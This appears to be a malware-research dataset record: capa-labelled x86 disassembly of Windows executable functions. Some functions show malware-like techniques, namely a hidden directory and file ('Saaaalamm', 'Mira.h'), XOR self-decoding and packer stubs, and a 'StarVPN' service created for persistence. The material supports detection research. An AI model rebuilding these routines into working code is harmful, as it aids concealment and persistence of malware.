joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], sym._Qcn____
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d0f0
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.dll_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call sym.XQ_7_pk_M__VXm_u_Q_9nQ_d9VQ_Q__9Qc_Q_ouY_d9
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.__V7_hkWI_Tk_dt__3_QcU_9_oQhQmQ_2Vbbke_UcR_Pl_PA_kU
mov dword [esp + 4], 8
mov dword [esp], 4
call sym.XQ_7_pk_M__VXm_u_Q_9nQ_d9VQ_Q__9Qc_Q_ouY_d9
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.__V7_hkWI_Tk_dt__3_QcU_9_oQhQmQ_2Vbbke_UcR_Pl_PA_kU
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.K_5hmp__Qeu__VY_d9QV_P_Qey__hQ___h_Q_XQ_5hmpt__Q
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call sym.ku2_efQ_8eIP_o_m_uuu6_e__P_m:_P_P_m__Po__QzPHN_o
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.hQmQ_2Vbbke_UcR_Pl_PB__kUHb_mWIPQ_e_QmXueP_P_
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.hQmQ_2Vbbke_UcR_Pl_PB__kUHb_mWIPQ_e_QmXueP_P_
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.of_qe_YbhJ__Q_e_Y_QcQ_J__Q_u_Y_QcQ_Q_mfZ_Q_h_rPQ_mfA_Q_R
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call sym.of_qe_YbhJ__Q_e_Y_QcQ_J__Q_u_Y_QcQ_Q_mfZ_Q_h_rPQ_mfA_Q_R
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d1d0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x4040d6
mov dword [0x4451d0], eax
mov edx, sym.Q_otueR7_tP_D__m_uI4_P__d9rQ_v__ho__Q_r_r_r_77Yp2_77Y
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret

Function at 0x4041c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], sym._Qcn____
mov dword [ebp - 0x24], 0x43c6d4
mov dword [ebp - 0x1c], 0x404280
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.0040d0f0
cmp dword [0x43d0f0], 0
mov dword [ebp - 0x44], 0x4451e0
je 0x404260
jl 0x4042a0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x4451d0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x404343
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4457f0]
mov eax, 0xffffffff
test edx, edx
je 0x4042ba
mov eax, dword [0x43d0f4]
test eax, eax
je 0x4042fa
xor eax, eax
test eax, eax
jne 0x4042f0
mov edi, dword [0x43d0f0]
test edi, edi
js 0x4042f0
mov dword [ebp - 0x44], 0x4451e0
mov ebx, dword [0x43d0f0]
test ebx, ebx
je 0x404260
jmp 0x40420e
xor esi, esi
mov dword [0x43d0f0], esi
jmp 0x4042c8
mov dword [esp], 0x43d0f8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.dll_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x404381
mov eax, dword [0x43d0f4]
test eax, eax
jne 0x4042b8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43d0f4]
test eax, eax
je 0x40431d
jmp 0x4042b8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x404375
mov dword [esp + 4], eax
mov eax, dword [0x4451d0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x4043aa
test edx, edx
je 0x404395
mov dword [ebp - 0x3c], 1
call sym._Q_pklm6uu__d9QpTE_jh4bQamu2kH
call sym.P_D__m_uI4_P__d9rQ_v__ho__Q_r_r_r_77Yp2_77Yh2_7p__V
mov eax, 1
mov dword [0x43d0f4], eax
jmp 0x4042b8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x404256
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
jmp 0x404371
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym.U_ombT_P__2Vq_WillQ_dQov2b___aQ___aQ_2W_P_2Vt_WlllQ_WXc
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x409a3c
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x409a10
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call fcn.0040cc80
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym.s_yxkdU_QH_kH_mWId_XQ_7_pk_M__VXm_u_Q_9nQ
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0

Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x79d7fc
Capabilities:
Encode data using xor

Disassembly:
jnp 0x79d835
pop ebp
wait
inc esp
arpl word [esi], dx
mov al, byte [0xf00b2011]
adc al, ch
pop es
xor eax, 0x290cc21c
add ebp, esi
insb byte es:[edi], dx
add byte [eax], al
pushal
call 0x79d802
pop ebp
sub ebp, 6
sub ebp, 0x39d7fc
jmp 0x79d860
add byte [esi], dl
add byte [eax + eax], dh
xor byte [eax], al
dec edi
adc byte [si], bh
jl 0x79d7e3
ja 0x79d821
lcall 0x4561, 0x704f9c94
popal
inc ebp
test al, 0xba
scasb al, byte es:[edi]
xchg edx, eax
pop edi
add dword [eax], eax
add byte [eax], al
jb 0x79d8ad
sub ah, byte [edx + 0x200f4e81]
fist dword [ebp + 0x6a56d85a]
mov ebx, dword [esi + 0x486ebe51]
fisub word [edx]
mov ebp, 0x77e2a302
mov byte [esi - 0x10], bh
shl dword [edi - 0x17], 1
add al, 0
add byte [eax], al
aas
xor eax, 0xfcb82a84
xlatb
cmp dword [eax], eax
jmp 0x79d869
mov eax, 0x39d7fc
add eax, ebp
add eax, 0x93
mov ecx, 0x625
mov edx, 0xd983b745
xor byte [eax], dl
inc eax
dec ecx
jne 0x79d880
jmp 0x79d893
das
add eax, 0x4555452d
inc ebp
sub eax, 0x45698945
jbe 0x79d826
adc eax, 0xe581d0ba
jne 0x79d8ed
adc eax, 0xccce88ce
jns 0x79d8f4
inc ebp
inc ebp
les eax, [ebp + edi*4 + 0x46454545]
mov ch, bh
inc ecx
inc ebp
inc ebp
inc ebp
jmp [ebp + 0x45]
into
test eax, 0x454dc0ce
inc ebp
inc ebp
into
ror byte [ecx + 0x45], 1
inc ebp
inc ebp
into
enter 0x4555, 0x45
inc ebp
test byte [edi + eax*2 - 0x7839b88c], ch
inc ecx
or al, 0x4a
sal byte [ecx + 0x18bababa], 0x87
dec ecx
inc ebp
into
leave
popal
inc ecx
inc ebp
inc ebp
inc ebp
sub eax, 0x454c70c5
sub eax, 0x4575e73e
inc esp
imul esp, dword [ecx + 0x14], 0x454540ad
inc ebp
lodsb al, byte [esi]
add al, 0x47
inc ebp
inc ebp
adc al, cl
sub dword [ecx + 0x45], esp
mov edx, 0x30ba4930
dec ebp
lodsd eax, dword [esi]
aaa
inc ebp
inc ebp
inc ebp
into
clc
dec ebp
inc ebp
inc ebp
inc ebp
les esi, [esp + eax*4 - 0x3b1d3c9f]
mov ah, 0x84
popal
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x401090
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
push ebx
push esi
push dword [0x41e45c]
call dword [sym.imp.KERNEL32.dll_UnregisterWait]
mov bl, byte [ebp + 0xc]
test bl, bl
je 0x4010ff
push dword [0x41e488]
call dword [sym.imp.KERNEL32.dll_AttachConsole]
test eax, eax
je 0x4010f1
mov esi, dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 1
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0xbb8
push dword [0x41e480]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0
call esi
push 0
push dword [0x41e480]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0
push eax
push dword [0x41e480]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
jne 0x401126
mov ecx, str.end_service.GetExitCodeProcess
call fcn.00401b70
push dword [0x41e480]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0xc]
push str.end_service_exitcode_lu_n
call fcn.00401aa0
add esp, 8
test bl, bl
je 0x401188
push dword [0x41e438]
call esi
push 0x41e460
push dword [0x41e458]
mov dword [0x41e464], 1
mov dword [0x41e46c], 0
mov dword [0x41e470], 0
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4011c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x401180
mov ecx, str.end_service.CreateThread
call fcn.00401bf0
int3
Function at 0x4014d0
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
mov eax, 0x20040
call fcn.004148f0
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0x20038], eax
push ebx
push esi
push edi
push 3
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x401621
push 0x7fff
lea eax, [esp + 0x44]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.SHLWAPI.dll_PathQuoteSpacesW]
lea eax, [esp + 0x40]
push eax
push 0x41ab10
lea eax, [esp + 0x10048]
push 0x7fff
push eax
call fcn.00401050
add esp, 0x10
lea eax, [esp + 0x10040]
push 0
push 0
push 0
push 0
push 0
push eax
push 1
push 2
push 0x10
push 0xf01ff
push str.StarVPN
push str.StarVPN
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov ebx, eax
test ebx, ebx
je 0x40162b
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea eax, [esp + 0xc]
push eax
push 1
push ebx
mov dword [esp + 0x18], str.StarVPN_Service
call esi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 1
push eax
push 4
push ebx
call esi
lea eax, [esp + 0x28]
mov dword [esp + 0x14], 0x708
mov dword [esp + 0x24], eax
xorps xmm0, xmm0
lea eax, [esp + 0x14]
movlpd qword [esp + 0x18], xmm0
push eax
push 2
push ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x38], 0x7530
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0x7530
mov dword [esp + 0x44], 1
mov dword [esp + 0x48], 0x7530
mov dword [esp + 0x2c], 3
call esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x20044]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401f8e
add esp, 0x20040
ret
mov ecx, str.install_service.OpenSCManagerW
call fcn.00401c10
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, str.install_service.CreateService
call fcn.00401c10
int3
Function at 0x401640
Capabilities:
Query service status
Start service

Disassembly:
sub esp, 0x24
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push ebp
push esi
push edi
push 5
push str.ServicesActive
push 0
mov ebp, edx
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x401726
push 0x14
push str.StarVPN
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x401730
push ebp
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x4016f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x401710
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [esp + 0x14]
push eax
push edi
xor esi, esi
call ebp
test eax, eax
je 0x4016f1
mov eax, dword [esp + 0x18]
inc esi
cmp eax, 4
je 0x4016f1
cmp esi, 0xf
jg 0x4016df
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push edi
call ebp
test eax, eax
jne 0x4016b5
mov eax, dword [esp + 0x18]
test esi, esi
je 0x4016f1
push eax
push str.Timeout_waiting_for_service_start__current_state_is__d_n
call fcn.00401010
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push ebx
call esi
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401f8e
add esp, 0x24
ret
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push ebx
call esi
mov ecx, str.start_service.StartService
call fcn.00401c10
mov ecx, str.start_service.OpenSCManager
call fcn.00401c10
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, str.start_service.OpenService
call fcn.00401c10
int3
Function at 0x401750
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x24
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push ebp
push esi
push edi
push 5
push str.ServicesActive
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x401837
push 0x24
push str.StarVPN
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
test edi, edi
je 0x401841
lea eax, [esp + 0x14]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x401802
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x401821
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [esp + 0x14]
push eax
push edi
xor esi, esi
call ebp
test eax, eax
je 0x401802
mov eax, dword [esp + 0x18]
inc esi
cmp eax, 1
je 0x401802
cmp esi, 0xf
jg 0x4017f0
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x14]
push eax
push edi
call ebp
test eax, eax
jne 0x4017c6
mov eax, dword [esp + 0x18]
test esi, esi
je 0x401802
push eax
push str.Timeout_waiting_for_service_stop__current_state_is__d_n
call fcn.00401010
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push ebx
call esi
mov ecx, dword [esp + 0x30]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401f8e
add esp, 0x24
ret
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
push ebx
call esi
mov ecx, str.start_service.StartService
call fcn.00401c10
mov ecx, str.stop_service.OpenSCManagerW
call fcn.00401c10
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, str.stop_service.OpenServiceW
call fcn.00401c10
int3

Function at 0x401aa0
Capabilities:
Access the windows event log
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2014
call fcn.004148f0
mov eax, dword [0x41d004]
xor eax, esp
mov dword [esp + 0x2010], eax
push esi
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
lea eax, [esp + 0x1c]
push 0x1000
push eax
call fcn.00401000
push dword [eax + 4]
push dword [eax]
call fcn.00407b0b
mov edx, dword [0x41e438]
add esp, 0x1c
test edx, edx
je 0x401b1b
lea ecx, [esp + 0x10]
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401af5
sub ecx, esi
lea eax, [esp + 0xc]
push 0
sar ecx, 1
push eax
lea eax, [ecx + ecx]
push eax
lea eax, [esp + 0x1c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push str.StarVPN
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push 0
mov esi, eax
lea eax, [esp + 0x14]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 0
push 1
push 0
push 0x80000065
push 0
push 2
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov ecx, dword [esp + 0x2014]
pop esi
xor ecx, esp
call fcn.00401f8e
mov esp, ebp
pop ebp
ret
Function at 0x401c10
Capabilities:
Terminate process

Disassembly:
push ecx
push esi
push edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0
push esi
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
test eax, eax
jne 0x401c61
push esi
push esi
push edi
push str.ERROR:__s:_0x_x__d_n
call fcn.00401010
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push eax
push str.FormatMessage_failed_with_0x_x__d_n
call fcn.00401010
add esp, 0xc
jmp 0x401c7f
push dword [esp + 8]
push esi
push esi
push edi
push str.ERROR:__s:_0x_x__d__s_n
call fcn.00401010
add esp, 0x14
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x409708
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4165fc
push 0x4165f4
push str.FlsAlloc
push 0x1e
call fcn.004095e8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40973c
push dword [ebp + 8]
mov ecx, esi
call dword [0x415198]
call esi
jmp 0x409742
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x409786
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41660c
push 0x416604
push str.FlsGetValue
push 0x20
call fcn.004095e8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4097bd
push dword [ebp + 8]
mov ecx, esi
call dword [0x415198]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40bd19
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40bd64
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040beb8
test al, al
jne 0x40bd5e
sub edx, 2
cmp edx, edi
jne 0x40bd44
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40bd86
lea eax, [edi + 2]
cmp edx, eax
je 0x40bd86
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040bc65
add esp, 0x10
jmp 0x40be80
push esi
lea ecx, [ebp - 0x255]
call fcn.0040beb8
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40bdc9
push dword [ebp - 0x25c]
jmp 0x40bd76
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40be06
cmp word [ebp - 0x226], 0
je 0x40be27
cmp word [ebp - 0x226], ax
jne 0x40be06
cmp word [ebp - 0x224], 0
je 0x40be27
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040bc65
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40be73
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40bde0
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40be5b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40be80
push 0x40ba95
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00411200
add esp, 0x10
jmp 0x40be50
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401f8e
leave
ret
Function at 0x40c93f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40c950
pop esi
ret
push ebx
push edi
push esi
call fcn.0040c908
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00409ebb
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40c978
push ebx
push esi
push edi
call fcn.00403920
add esp, 0xc
push 0
call fcn.00409495
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40cd3c
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040c98d